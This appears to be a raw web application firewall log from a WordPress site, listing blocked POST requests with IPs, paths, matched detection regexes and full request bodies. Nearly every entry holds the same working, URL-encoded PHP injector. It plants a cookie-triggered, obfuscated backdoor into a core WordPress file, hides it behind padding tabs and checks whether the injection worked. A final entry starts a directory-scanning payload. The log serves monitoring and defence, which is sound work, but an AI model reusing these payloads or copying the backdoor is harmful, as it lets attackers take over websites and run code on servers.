%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3252\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\ndq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:01:18","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3252\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nrP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:01:55","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3252\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nZs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:02:06","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3275\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:02:14","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> hF:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3